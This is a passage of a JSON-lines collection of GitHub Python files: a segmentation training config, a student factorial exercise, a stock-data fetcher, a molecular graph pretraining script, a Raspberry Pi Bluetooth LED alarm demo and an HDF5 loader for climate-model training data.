'patch_stardist_test')\n\npath_gt_train = os.path.join(path_monuseg, 'patch_gt_train')\npath_gt_test = os.path.join(path_monuseg, 'patch_gt_test')\n\npath_contour_stardist_train = os.path.join(path_monuseg, 'contour_stardist_train')\npath_contour_stardist_test = os.path.join(path_monuseg, 'contour_stardist_test')\n\npath_contour_gt_train = os.path.join(path_monuseg, 'contour_gt_train')\npath_contour_gt_test = os.path.join(path_monuseg, 'contour_gt_test')\n\npath_H_train = os.path.join(path_monuseg, 'patch_H_train')\npath_E_train = os.path.join(path_monuseg, 'patch_E_train')\n\npath_H_test = os.path.join(path_monuseg, 'patch_H_test')\npath_E_test = os.path.join(path_monuseg, 'patch_E_test')\n\npath_click_gen_test = os.path.join(path_monuseg,'click_gen_test')\npath_click_gen_train = os.path.join(path_monuseg,'click_gen_train')\n\n############################################# DATAFRAMES #####################################################\n\nfar_df_test = pd.read_csv(os.path.join(path_data, 'far_df_test_50.csv'), index_col=0)\nfar_df_train = pd.read_csv(os.path.join(path_data, 'far_df_train_50.csv'), index_col=0)\ndf_distances_train = pd.read_csv(os.path.join(path_data, 'df_distances_train_20.csv'), index_col=0)\ndf_distances_test = pd.read_csv(os.path.join(path_data, 'df_distances_test_20.csv'), index_col=0)\n\n############################################# LOSSES ##########################################################\n\n\ndef weighted_binary_crossentropy(zero_weight, one_weight):\n\n    def weighted_binary_crossentropy(y_true, y_pred):\n\n        b_ce = K.binary_crossentropy(y_true, y_pred)\n\n        weight_vector = y_true * one_weight + (1 - y_true) * zero_weight\n        weighted_b_ce = weight_vector * b_ce\n\n        return K.mean(weighted_b_ce)\n\n    return weighted_binary_crossentropy\n\n\nwbce = weighted_binary_crossentropy(0.3,0.7)\n\nbce = tf.keras.losses.BinaryCrossentropy()\nmse = tf.keras.losses.MeanSquaredError()\n\n\n\ndef loss_cov(y_true,y_pred):\n\n    angle_true, y_true_var = tf.split(y_true, [1, 2], axis=-1)\n    angle_pred, y_pred_var = tf.split(y_pred, [1, 2], axis=-1)\n    \n    return tf.math.reduce_mean((angle_true - angle_pred)**2, keepdims = True, axis = -1)  + tf.math.reduce_mean((y_true_var - y_pred_var)**2, keepdims = True, axis = -1)\n\n\ndef own_loss(y_true, y_pred):\n\n    F, svd_true = tf.split(y_true, [1,3], axis = -1)\n    svd_pred = y_pred\n\n    return tf.math.reduce_mean(tf.math.multiply(F, loss_cov(svd_true,svd_pred))) \n\n\n\ndef own_metric(y_true,y_pred):\n    y_true_p,_= tf.split(y_true,[1,3], axis = -1)\n    y_pred_p,_= tf.split(y_pred,[1,3], axis = -1)\n    return tf.math.sqrt(tf.math.reduce_mean((y_true_p - y_pred_p)**2))\n\n\n################################################################################################################\n\n# MIN = - 465.83\nMAX = 2445.44\n\n############################################ TRAINING PARAMETERS ##############################################\n\nlr_schedule = tf.keras.optimizers.schedules.ExponentialDecay(\n    parameters['learning rate'],\n    decay_steps=100,\n    decay_rate=0.96,\n    staircase=True)\n\nopt = tf.keras.optimizers.Adam(lr_schedule)\nrmse = tf.keras.metrics.RootMeanSquaredError(name='root_mean_squared_error', dtype=None)\n\nmetrics = {\"output_1\": None,\n           \"output_2\":own_metric,\n           \"output_3\":rmse}\n\nlosses = {'output_1':bce,\n          'output_2':own_loss,\n          'output_3':wbce}\n\nloss_weights = {'output_1':0,\n                'output_2':1,\n                'output_3':1}\n\n\n\n\n\ncallback = tf.keras.callbacks.ModelCheckpoint(\n    path_weights, monitor='val_loss', verbose=0, save_best_only=True,\n    save_weights_only=True, mode='auto', save_freq='epoch',\n    options=None)\n\n","repo_name":"antoinehabis/CompNet","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":5835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"5638652303","text":"#CTI-110\r\n#P4HW3_FACTORIAL\r\n#Stephon Smith\r\n#June 28, 2018\r\n#\r\n\r\nnum = int(input(\"Please enter a number: \")) #get number\r\nwhile num < 1:\r\n    num = int(input(\"Please enter a positive number please: \")) #Make sure its not a negative\r\n\r\nfct = 1\r\n\r\nfor ctn in range( 1, num+1):    #calculate\r\n    fct = fct * ctn\r\nprint(\"\\nThe factorial of\", num, \"is\", fct) #print factorial\r\n","repo_name":"TheWiiz/CTI110","sub_path":"P4HW3_FACTORIAL_SmithStephon.py","file_name":"P4HW3_FACTORIAL_SmithStephon.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70678947922","text":"class WebOperation:\n    @staticmethod\n    def fetchSymbolData(symbol,from_date,to_date):\n        import nsepy\n        import time\n        t1=time.time()\n        print(\"fetching data from \",from_date,\" to \",to_date,\"for \",symbol)\n        symbol_data = nsepy.get_history(symbol, from_date ,to_date )\n        print(\"found records for \",symbol,symbol_data.shape,\" in \",time.time()-t1,\"Seconds\")\n        return symbol_data\n","repo_name":"lirilkumar/MoveMarket","sub_path":"WebServices/WebOP.py","file_name":"WebOP.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"23943615412","text":"import argparse\nfrom functools import partial\n\nfrom loader import MoleculeDataset\nfrom dataloader import DataLoaderMasking, DataLoaderMaskingPred  # , DataListLoader\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom tqdm import tqdm\nimport numpy as np\n\nfrom model import GNN, GNNDecoder, CG\nfrom sklearn.metrics import roc_auc_score\n\nfrom splitters import scaffold_split, random_split, random_scaffold_split\nimport pandas as pd\n\nfrom util import MaskAtom\n\nfrom torch_geometric.nn import global_add_pool, global_mean_pool, global_max_pool\n\nfrom tensorboardX import SummaryWriter\n\nimport timeit\n\n\ndef compute_accuracy(pred, target):\n    return float(torch.sum(torch.max(pred.detach(), dim=1)[1] == target).cpu().item()) / len(pred)\n\n\ndef sce_loss(x, y, alpha=1):\n    x = F.normalize(x, p=2, dim=-1)\n    y = F.normalize(y, p=2, dim=-1)\n\n    # loss =  - (x * y).sum(dim=-1)\n    # loss = (x_h - y_h).norm(dim=1).pow(alpha)\n\n    loss = (1 - (x * y).sum(dim=-1)).pow_(alpha)\n\n    loss = loss.mean()\n    return loss\n\n\ndef train_mae(args, model, loader, optimizer_model, device):\n\n\n    model.train()\n    loss_accum = 0\n\n    epoch_iter = tqdm(loader, desc=\"Iteration\")\n    for step, batch in enumerate(epoch_iter):\n        batch = batch.to(device)\n        loss = model(batch)\n\n        # acc_node = compute_accuracy(pred_node, batch.mask_node_label[:,0])\n        # acc_node_accum += acc_node\n\n        optimizer_model.zero_grad()\n        loss.backward()\n        optimizer_model.step()\n        model.update_target_network(0.9999)\n        loss_accum += float(loss.cpu().item())\n        epoch_iter.set_description(f\"train_loss: {loss.item():.4f}\")\n\n    return loss_accum / step  # , acc_node_accum/step, acc_edge_accum/step\n\n\ndef main():\n    # Training settings\n    parser = argparse.ArgumentParser(description='PyTorch implementation of pre-training of graph neural networks')\n    parser.add_argument('--device', type=int, default=0,\n                        help='which gpu to use if any (default: 0)')\n    parser.add_argument('--batch_size', type=int, default=256,\n                        help='input batch size for training (default: 256)')\n    parser.add_argument('--epochs', type=int, default=100,\n                        help='number of epochs to train (default: 100)')\n    parser.add_argument('--lr', type=float, default=0.001,\n                        help='learning rate (default: 0.001)')\n    parser.add_argument('--decay', type=float, default=0,\n                        help='weight decay (default: 0)')\n    parser.add_argument('--num_layer', type=int, default=5,\n                        help='number of GNN message passing layers (default: 5).')\n    parser.add_argument('--emb_dim', type=int, default=300,\n                        help='embedding dimensions (default: 300)')\n    parser.add_argument('--dropout_ratio', type=float, default=0.0,\n                        help='dropout ratio (default: 0)')\n    parser.add_argument('--mask_rate', type=float, default=0.3,\n                        help='dropout ratio (default: 0.15)')\n    parser.add_argument('--mask_edge', type=int, default=0,\n                        help='whether to mask edges or not together with atoms')\n    parser.add_argument('--JK', type=str, default=\"last\",\n                        help='how the node features are combined across layers. last, sum, max or concat')\n    parser.add_argument('--dataset', type=str, default='zinc_standard_agent',\n                        help='root directory of dataset for pretraining')\n    parser.add_argument('--output_model_file', type=str, default='', help='filename to output the model')\n    parser.add_argument('--gnn_type', type=str, default=\"gin\")\n    parser.add_argument('--seed', type=int, default=0, help=\"Seed for splitting dataset.\")\n    parser.add_argument('--num_workers', type=int, default=2, help='number of workers for dataset loading')\n    parser.add_argument('--input_model_file', type=str, default=None)\n    parser.add_argument(\"--alpha_l\", type=float, default=1.0)\n    parser.add_argument(\"--alpha\", type=float, default=0.5)\n    parser.add_argument(\"--loss_fn\", type=str, default=\"sce\")\n    parser.add_argument(\"--decoder\", type=str, default=\"gin\")\n    parser.add_argument(\"--use_scheduler\", action=\"store_true\", default=False)\n    args = parser.parse_args()\n    print(args)\n\n    torch.manual_seed(0)\n    np.random.seed(0)\n    device = torch.device(\"cuda:\" + str(args.device)) if torch.cuda.is_available() else torch.device(\"cpu\")\n    if torch.cuda.is_available():\n        torch.cuda.manual_seed_all(0)\n\n    print(\"num layer: %d mask rate: %f mask edge: %d\" % (args.num_layer, args.mask_rate, args.mask_edge))\n\n    dataset_name = args.dataset\n    # set up dataset and transform function.\n    # dataset = MoleculeDataset(\"dataset/\" + args.dataset, dataset=args.dataset, transform = MaskAtom(num_atom_type = 119, num_edge_type = 5, mask_rate = args.mask_rate, mask_edge=args.mask_edge))\n    dataset = MoleculeDataset(\"/home/yhkj/dhr/KDD/chem/dataset/\" + dataset_name, dataset=dataset_name)\n\n    # loader = DataLoaderMasking(dataset, batch_size=args.batch_size, shuffle=True, num_workers = args.num_workers)\n    loader = DataLoaderMaskingPred(dataset, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers,\n                                   mask_rate=args.mask_rate, mask_edge=args.mask_edge)\n\n    # set up models, one for pre-training and one for context embeddings\n    model = CG(args.num_layer, args.emb_dim, drop_ratio=args.dropout_ratio, gnn_type=args.gnn_type, alpha=args.alpha).to(\n        device)\n    # linear_pred_atoms = torch.nn.Linear(args.emb_dim, 119).to(device)\n    # linear_pred_bonds = torch.nn.Linear(args.emb_dim, 4).to(device)\n\n    # NUM_NODE_ATTR = 119  # + 3\n    # atom_pred_decoder = GNNDecoder(args.emb_dim, NUM_NODE_ATTR, JK=args.JK, gnn_type=args.gnn_type).to(device)\n\n    # model_list = [model, atom_pred_decoder]\n\n    # set up optimizers\n    optimizer_model = optim.Adam(model.trainable_parameters(), lr=args.lr, weight_decay=args.decay)\n    # optimizer_dec_pred_atoms = optim.Adam(atom_pred_decoder.parameters(), lr=args.lr, weight_decay=args.decay)\n\n    # optimizer_list = [optimizer_model, optimizer_dec_pred_atoms]\n\n    for epoch in range(1, args.epochs + 1):\n        print(\"====epoch \" + str(epoch))\n\n        # train_loss, train_acc_atom, train_acc_bond = train(args, model_list, loader, optimizer_list, device)\n        # print(train_loss, train_acc_atom, train_acc_bond)\n\n        train_loss = train_mae(args, model, loader, optimizer_model, device)\n\n    output_file = f\"_{args.gnn_type}_{args.mask_rate}_{args.alpha}\"\n    torch.save(model.state_dict(), output_file + \".pth\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"DuanhaoranCC/Masked_Graph_Aug","sub_path":"chem/pretraining.py","file_name":"pretraining.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6220480382","text":"import RPi.GPIO as GPIO\nimport time\nfrom bluetooth import *\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\n#led configuration\nled1=14\nled2=15\npwm_pin=13\n\nGPIO_out=[led1,led2,pwm_pin]\nGPIO.setup(GPIO_out,GPIO.OUT)\n#GPIO.setup(pir,GPIO.IN)\n\nserver = BluetoothSocket(RFCOMM)\nserver.bind((\"\", PORT_ANY))\nserver.listen(3)\nprint(\"start server...\")\n\np1=GPIO.PWM(led1,70)\np2=GPIO.PWM(led2,70)\np1.start(0)\np2.start(0)\np = GPIO.PWM(pwm_pin, 100)\n\n\ntry:\n    client, info = server.accept()\n    print(\"client mac:\", info[0], \", port:\", info[1])\nexcept KeyboardInterrupt:\n    server.close()\n    exit()\n\ndef dual():\n        print('LED fading effect!')\n        #client.send('LED fading effect!'.encode())\n        for dc in range(0, 101, 5):\n            p1.ChangeDutyCycle(dc)\n            p2.ChangeDutyCycle(100 - dc)\n            time.sleep(0.03)\n\n        for dc in range(0, 101, 5):\n            p1.ChangeDutyCycle(100 - dc)\n            p2.ChangeDutyCycle(dc)\n            time.sleep(0.03)\n\ndef sensor():\n        p.start(100)\n        p.ChangeDutyCycle(90)\n        p.ChangeFrequency(261)\n        time.sleep(1)\n        #p.stop()\n\n        print(\"Intruders!\")\n        #client.send('Intruders!'.encode())\n        GPIO.output(led1, True)\n        time.sleep(0.8)\n\n   # elif (count==0):\n   #     print(\"Now in safe!\")\n   #     #client.send('Now in safe!'.encode())\n   #\n   #     time.sleep(0.8)\n\ntry:\n    while True:\n        #data = client.recv(1024)\n        count=int(input(\"count=\"))\n        sensor(count)\n        dual(count)\n\n#\n#\nexcept KeyboardInterrupt:\n    print(\"terminate\")\n# client.close()\n# server.close()\n","repo_name":"jieuihong/CountOnMe","sub_path":"codes/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38331228198","text":"\"\"\"\nRead the data saved by model_input_data_process.py\nand make available for model training and testing\n\"\"\"\n\nimport numpy as np\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\nimport h5py\n\n# locations={ \"train_test_datadir\":\"/project/spice/radiation/ML/CRM/data/models/datain\"}\n\nclass Data_IO_validation(object):\n    def __init__(self, region, locations):\n        self.region = region\n        self.locations = locations\n\n    def get_data(self, subdomain):   \n        dataset_file = \"{0}/validation_{1}/validation_data_{1}_{2}.hdf5\".format(self.locations[\"train_test_datadir\"],self.region, str(subdomain).zfill(3))\n        print(\"Reading dataset file: {0}\".format(dataset_file))\n        dataset=h5py.File(dataset_file,'r')\n\n        self.q_tot_test = dataset[\"q_tot_test\"]\n        self.q_tot_adv_test = dataset[\"q_adv_test\"]\n        self.theta_test = dataset[\"air_potential_temperature_test\"]\n        self.theta_adv_test = dataset[\"t_adv_test\"]\n        self.sw_toa_test = dataset[\"toa_incoming_shortwave_flux_test\"]\n        self.shf_test = dataset[\"surface_upward_sensible_heat_flux_test\"]\n        self.lhf_test = dataset[\"surface_upward_latent_heat_flux_test\"]\n        self.theta_phys_test = dataset[\"t_phys_test\"]\n        self.qphys_test = dataset[\"q_phys_test\"]\n\nclass Data_IO(object):\n    def __init__(self, region, locations):\n        self.region = region\n        self.locations = locations\n        \n        dataset_file = \"{0}/train_test_data_{1}.hdf5\".format(self.locations[\"train_test_datadir\"],self.region)\n        print(\"Reading dataset file: {0}\".format(dataset_file))\n        dataset=h5py.File(dataset_file,'r')\n       \n        self.q_tot_train = dataset[\"q_tot_train\"]\n        self.q_tot_adv_train = dataset[\"q_adv_train\"]\n        self.theta_train = dataset[\"air_potential_temperature_train\"]\n        self.theta_adv_train = dataset[\"t_adv_train\"]\n        self.sw_toa_train = dataset[\"toa_incoming_shortwave_flux_train\"]\n        self.shf_train = dataset[\"surface_upward_sensible_heat_flux_train\"]\n        self.lhf_train = dataset[\"surface_upward_latent_heat_flux_train\"]\n        self.theta_phys_train = dataset[\"t_phys_train\"]\n        self.qphys_train = dataset[\"q_phys_train\"]\n\n\n        self.q_tot_test = dataset[\"q_tot_test\"]\n        self.q_tot_adv_test = dataset[\"q_adv_test\"]\n        self.theta_test = dataset[\"air_potential_temperature_test\"]\n        self.theta_adv_test = dataset[\"t_adv_test\"]\n        self.sw_toa_test = dataset[\"toa_incoming_shortwave_flux_test\"]\n        self.shf_test = dataset[\"surface_upward_sensible_heat_flux_test\"]\n        self.lhf_test = dataset[\"surface_upward_latent_heat_flux_test\"]\n        self.theta_phys_test = dataset[\"t_phys_test\"]\n        self.qphys_test = dataset[\"q_phys_test\"]\n\n\n        \n        \n    #     self.train_data_in, self.train_data_out, self.test_data_in, self.test_data_out = self.scm_model_data()\n\n    #     self.q_norm_train = self.train_data_in[\"qtot\"]\n    #     self.qnext_norm_train = self.train_data_in[\"qtot_next\"]\n    #     self.q_norm_train_s = self.train_data_in[\"qtot_s\"]\n    #     self.qnext_norm_train_s = self.train_data_in[\"qtot_next_s\"]\n    #     # self.qadv_norm_train = self.train_data_in[\"qadv\"]\n    #     self.qadv_dot_norm_train = self.train_data_in[\"qadv_dot\"]\n    #     self.qadv_dot_norm_train_s = self.train_data_in[\"qadv_dot_s\"]\n    #     # self.qphys_norm_train = self.train_data_out[\"qphys_tot\"]\n    #     self.qphys_dot_norm_train = self.train_data_out[\"qphys_dot\"]\n    #     self.qphys_dot_norm_train_s = self.train_data_out[\"qphys_dot_s\"]\n\n    #     self.q_norm_test = self.test_data_in[\"qtot_test\"]\n    #     self.qnext_norm_test = self.test_data_in[\"qtot_next_test\"]\n    #     self.q_norm_test_s = self.test_data_in[\"qtot_test_s\"]\n    #     self.qnext_norm_test_s = self.test_data_in[\"qtot_next_test_s\"]\n    #     # self.qadv_norm_test = self.test_data_in[\"qadv_test\"]\n    #     self.qadv_dot_norm_test = self.test_data_in[\"qadv_dot_test\"]\n    #     self.qadv_dot_norm_test_s = self.test_data_in[\"qadv_dot_test_s\"]\n    #     # self.qphys_norm_test = self.test_data_out[\"qphys_test\"]\n    #     self.qphys_dot_norm_test = self.test_data_out[\"qphys_dot_test\"]\n    #     self.qphys_dot_norm_test_s = self.test_data_out[\"qphys_dot_test_s\"]\n    #     # self.qadd_train = self.train_data_in[\"qadd\"]\n    #     self.qadd_dot_train = self.train_data_in[\"qadd_dot\"]\n    #     self.qadd_dot_train_s = self.train_data_in[\"qadd_dot_s\"]\n    #     # self.qadd_test = self.test_data_in[\"qadd_test\"]\n    #     self.qadd_dot_test = self.test_data_in[\"qadd_dot_test\"]\n    #     self.qadd_dot_test_s = self.test_data_in[\"qadd_dot_test_s\"]\n    #     self.q_test_raw = self.test_data_in[\"qtot_test_raw\"]\n    #     self.q_test_raw_s = self.test_data_in[\"qtot_test_raw_s\"]\n    #     # self.qadv_test_raw = self.test_data_in[\"qadv_test_raw\"]\n    #     self.qadv_dot_test_raw = self.test_data_in[\"qadv_dot_test_raw\"]\n    #     self.qadv_dot_test_raw_s = self.test_data_in[\"qadv_dot_test_raw_s\"]\n    #     # self.qphys_test_raw = self.test_data_out[\"qphys_test_raw\"]\n    #     self.qphys_dot_test_raw = self.test_data_out[\"qphys_dot_test_raw\"]\n    #     self.qphys_dot_test_raw_s = self.test_data_out[\"qphys_dot_test_raw_s\"]\n        \n    #     self.t_train = self.train_data_in[\"T\"]\n    #     self.t_test = self.test_data_in[\"T_test\"]\n    #     self.tadv_dot_train = self.train_data_in[\"tadv_dot\"]\n    #     self.tadv_dot_test = self.test_data_in[\"tadv_dot_test\"]\n\n    #     self.lhf_train = self.train_data_in['latent_up']\n    #     self.lhf_test = self.test_data_in['latent_up_test']\n    #     self.shf_train = self.train_data_in['sensible_up']\n    #     self.shf_test = self.test_data_in['sensible_up_test']\n    #     self.toa_swdown_train = self.train_data_in['sw_toa_down']\n    #     self.toa_swdown_test = self.test_data_in['sw_toa_down_test']\n\n\n    # def scm_model_data(self):\n    #     \"\"\"\n    #     Data for model with all SCM type inputs and outputs\n    #     \"\"\"\n    #     # dataset_file = \"train_test_data_all_m1p1{0}.npz\".format(region)\n    #     # dataset=np.load(\"{0}/{1}\".format(locations[\"train_test_datadir\"],dataset_file))\n    #     dataset_file = \"{0}/train_test_data_all_{1}_std.hdf5\".format(self.locations[\"train_test_datadir\"],self.region)\n    #     dataset=h5py.File(dataset_file,'r')\n       \n    #     q_tot_train = dataset[\"q_tot_train\"]\n    #     q_tot_adv_train = dataset[\"q_adv_train\"]\n    #     theta_train = dataset[\"air_potential_temperature_train\"]\n    #     theta_adv_train = dataset[\"t_adv_train\"]\n    #     sw_toa_train = dataset[\"toa_incoming_shortwave_flux_train\"]\n    #     shf_train = dataset[\"surface_upward_sensible_heat_flux_train\"]\n    #     lhf_train = dataset[\"surface_upward_latent_heat_flux\"]\n    #     theta_phys_train = dataset[\"t_phys\"]\n    #     qphys_train = dataset[\"q_phys\"]\n\n\n    #     train_data_in = {\"qtot_train\":q_tot_train, \"qadv_train\":q_tot_adv_train, \"theta_train\":theta_train, \"theta_adv_train\":theta_adv_train, \"shf_train\":shf_train, \"lhf_train\":lhf_train, \"sw_toa_train\":sw_toa_train}\n    #     train_data_out = {\"theta_phys_train\":theta_phys_train, \"qphys_train\":qphys_train}\n\n    #     q_tot_test = dataset[\"q_tot_test\"]\n    #     q_tot_adv_test = dataset[\"q_adv_test\"]\n    #     theta_test = dataset[\"air_potential_temperature_test\"]\n    #     theta_adv_test = dataset[\"t_adv_test\"]\n    #     sw_toa_test = dataset[\"toa_incoming_shortwave_flux_test\"]\n    #     shf_test = dataset[\"surface_upward_sensible_heat_flux_test\"]\n    #     lhf_test = dataset[\"surface_upward_latent_heat_flux\"]\n    #     theta_phys_test = dataset[\"t_phys\"]\n    #     qphys_test = dataset[\"q_phys\"]\n\n\n    #     test_data_in = {\"qtot_test\":q_tot_test, \"qadv_test\":q_tot_adv_test, \"theta_test\":theta_test, \"theta_adv_test\":theta_adv_test, \"shf_test\":shf_test, \"lhf_test\":lhf_test, \"sw_toa_test\":sw_toa_test}\n    #     test_data_out = {\"theta_phys_test\":theta_phys_test, \"qphys_test\":qphys_test}\n        \n    #     return train_data_in, train_data_out, test_data_in, test_data_out\n\n        # qtot = dataset[\"qtot\"]\n        # qtot_next = dataset[\"qtot_next\"]\n        # qtot_s = dataset[\"qtot_s\"]\n        # qtot_next_s = dataset[\"qtot_next_s\"]\n        # # qphys_tot = dataset[\"qphys_tot\"]\n        # qphys_dot = dataset[\"qphys_dot\"]\n        # qphys_dot_s = dataset[\"qphys_dot_s\"]\n        # # qadv = dataset[\"qadv\"]\n        # qadv_dot = dataset[\"qadv_dot\"]\n        # qadv_dot_s = dataset[\"qadv_dot_s\"]\n        # # qadd = dataset[\"qadd\"]\n        # qadd_dot = dataset[\"qadd_dot\"] #qtot + qadv_dot*600.   \n        # qadd_dot_s = dataset[\"qadd_dot_s\"] #qtot + qadv_dot*600.   \n        # # tadd = dataset[\"tadd\"]\n        # tadd_dot = dataset[\"tadd_dot\"] \n        # T = dataset[\"T\"]\n        # tphys = dataset[\"tphys\"]\n        # # tadv = dataset[\"tadv\"]\n        # tadv_dot = dataset[\"tadv_dot\"]\n        # sw_toa_down = dataset[\"sw_toa_down\"]\n        # latent_up = dataset[\"latent_up\"]\n        # sensible_up = dataset[\"sensible_up\"]\n        # mslp = dataset[\"mslp\"]\n        # sw_toa_up = dataset[\"sw_toa_up\"]\n        # lw_toa_up = dataset[\"lw_toa_up\"]\n        # sw_down = dataset[\"sw_down\"]\n        # lw_down = dataset[\"lw_down\"]\n        # rain = dataset[\"rain\"]\n        # snow = dataset[\"snow\"]\n        # # train_model_data_in = np.concatenate((qtot, qadv, T, tadv, sw_toa_down, latent_up, sensible_up, mslp), axis=1)\n        # # train_model_data_out = np.concatenate((qphys_tot, tphys, sw_toa_up, lw_toa_up, sw_down, lw_down, rain, snow), axis=1)\n\n        # qtot_test = dataset[\"qtot_test\"]\n        # qtot_next_test = dataset[\"qtot_next_test\"]\n        # qtot_test_s = dataset[\"qtot_test_s\"]\n        # qtot_next_test_s = dataset[\"qtot_next_test_s\"]\n        # # qphys_test = dataset[\"qphys_test\"]   \n        # qphys_dot_test = dataset[\"qphys_dot_test\"]   \n        # qphys_dot_test_s = dataset[\"qphys_dot_test_s\"]   \n        # # qadv_test = dataset[\"qadv_test\"]\n        # qadv_dot_test = dataset[\"qadv_dot_test\"]\n        # qadv_dot_test_s = dataset[\"qadv_dot_test_s\"]\n        # # qadd_test = dataset[\"qadd_test\"]\n        # qadd_dot_test = dataset[\"qadd_dot_test\"]\n        # qadd_dot_test_s = dataset[\"qadd_dot_test_s\"]\n        # # tadd_test = dataset[\"tadd_test\"]\n        # tadd_dot_test = dataset[\"tadd_dot_test\"]\n        # T_test = dataset[\"T_test\"]\n        # tphys_test = dataset[\"tphys_test\"]\n        # # tadv_test = dataset[\"tadv_test\"]\n        # tadv_dot_test = dataset[\"tadv_dot_test\"]\n        # sw_toa_down_test = dataset[\"sw_toa_down_test\"]\n        # latent_up_test = dataset[\"latent_up_test\"]\n        # sensible_up_test = dataset[\"sensible_up_test\"]\n        # mslp_test = dataset[\"mslp_test\"]\n        # sw_toa_up_test = dataset[\"sw_toa_up_test\"]\n        # lw_toa_up_test = dataset[\"lw_toa_up_test\"]\n        # sw_down_test = dataset[\"sw_down_test\"]\n        # lw_down_test = dataset[\"lw_down_test\"]\n        # rain_test = dataset[\"rain_test\"]\n        # snow_test = dataset[\"snow_test\"]\n\n        # qtot_test_raw = dataset[\"qtot_test_raw\"]\n        # qtot_test_raw_s = dataset[\"qtot_test_raw_s\"]\n        # # qadv_test_raw = dataset[\"qadv_test_raw\"]\n        # qadv_dot_test_raw = dataset[\"qadv_dot_test_raw\"]\n        # qadv_dot_test_raw_s = dataset[\"qadv_dot_test_raw_s\"]\n        # # qadd_test_raw = dataset[\"qadd_test_raw\"]    \n        # qadd_dot_test_raw = dataset[\"qadd_dot_test_raw\"]\n        # qadd_dot_test_raw_s = dataset[\"qadd_dot_test_raw_s\"]\n        # # tadd_test_raw = dataset[\"tadd_test_raw\"]    \n        # tadd_dot_test_raw = dataset[\"tadd_dot_test_raw\"]\n        # # qphys_test_raw = dataset[\"qphys_test_raw\"]\n        # qphys_dot_test_raw = dataset[\"qphys_dot_test_raw\"]\n        # qphys_dot_test_raw_s = dataset[\"qphys_dot_test_raw_s\"]\n        # qadd_test_raw = qtot_test_raw[:] + qadv_dot_test_raw[:]  \n        # qadd_test_raw_s = qtot_test_raw_s[:] + qadv_dot_test_raw_s[:]  \n        # # test_model_data_in = np.concatenate((qtot_test, qadv_test, T_test, tadv_test, sw_toa_down_test, latent_up_test, sensible_up_test, mslp_test), axis=1)\n        # # test_model_data_out = np.concatenate((qphys_test, tphys_test, sw_toa_up_test, lw_toa_up_test, sw_down_test, lw_down_test, rain_test, snow_test), axis=1)\n\n        # train_data_in = {\"qtot\":qtot, \"qtot_s\":qtot_s, \"qtot_next\":qtot_next, \"qtot_next_s\":qtot_next_s, \"qadv_dot\":qadv_dot, \"qadv_dot_s\":qadv_dot_s, \"qadd_dot\":qadd_dot, \"qadd_dot_s\":qadd_dot_s, \"T\":T,  \"tadv_dot\":tadv_dot, \"sw_toa_down\":sw_toa_down, \"latent_up\":latent_up, \"sensible_up\":sensible_up, \"mslp\":mslp}\n        # train_data_out = {\"qphys_dot\":qphys_dot, \"qphys_dot_s\":qphys_dot_s, \"tphys\":tphys, \"sw_toa_up\":sw_toa_up, \"lw_toa_up\":lw_toa_up, \"sw_down\":sw_down, \"lw_down\":lw_down, \"rain\":rain, \"snow\":snow}\n        # test_data_in = {\"qtot_test\":qtot_test, \"qtot_next_test\":qtot_next_test, \"qtot_test_s\":qtot_test_s, \"qtot_next_test_s\":qtot_next_test_s,  \"qadv_dot_test\":qadv_dot_test, \"qadv_dot_test_s\":qadv_dot_test_s, \"qadd_dot_test\":qadd_dot_test, \"qadd_dot_test_s\":qadd_dot_test_s, \"qadd_test_raw\":qadd_test_raw, \"qadd_dot_test_raw\":qadd_dot_test_raw, \"qadd_dot_test_raw_s\":qadd_dot_test_raw_s, \"T_test\":T_test,  \"tadv_dot_test\":tadv_dot_test,  \"tadd_dot_test\":tadd_dot_test,  \"tadd_dot_test_raw\":tadd_dot_test_raw, \"sw_toa_down_test\":sw_toa_down_test, \"latent_up_test\":latent_up_test, \"sensible_up_test\":sensible_up_test, \"mslp\":mslp_test,  \"qadv_dot_test_raw\":qadv_dot_test_raw, \"qadv_dot_test_raw_s\":qadv_dot_test_raw_s,\"qtot_test_raw\":qtot_test_raw, \"qtot_test_raw_s\":qtot_test_raw_s,}\n        # test_data_out = { \"qphys_dot_test\":qphys_dot_test, \"qphys_dot_test_s\":qphys_dot_test_s, \"tphys_test\":tphys_test, \"sw_toa_up_test\":sw_toa_up_test, \"low_toa_up_test\":lw_toa_up_test, \"sw_down_test\":sw_down_test, \"lw_down_test\":lw_down_test, \"rain_test\":rain_test, \"snow_test\":snow_test,  \"qphys_dot_test_raw\":qphys_dot_test_raw, \"qphys_dot_test_raw_s\":qphys_dot_test_raw_s}\n        \n        # return train_data_in, train_data_out, test_data_in, test_data_out","repo_name":"omarjamil/caramel","sub_path":"model/torch/jupyter/data_io.py","file_name":"data_io.py","file_ext":"py","file_size_in_byte":13932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
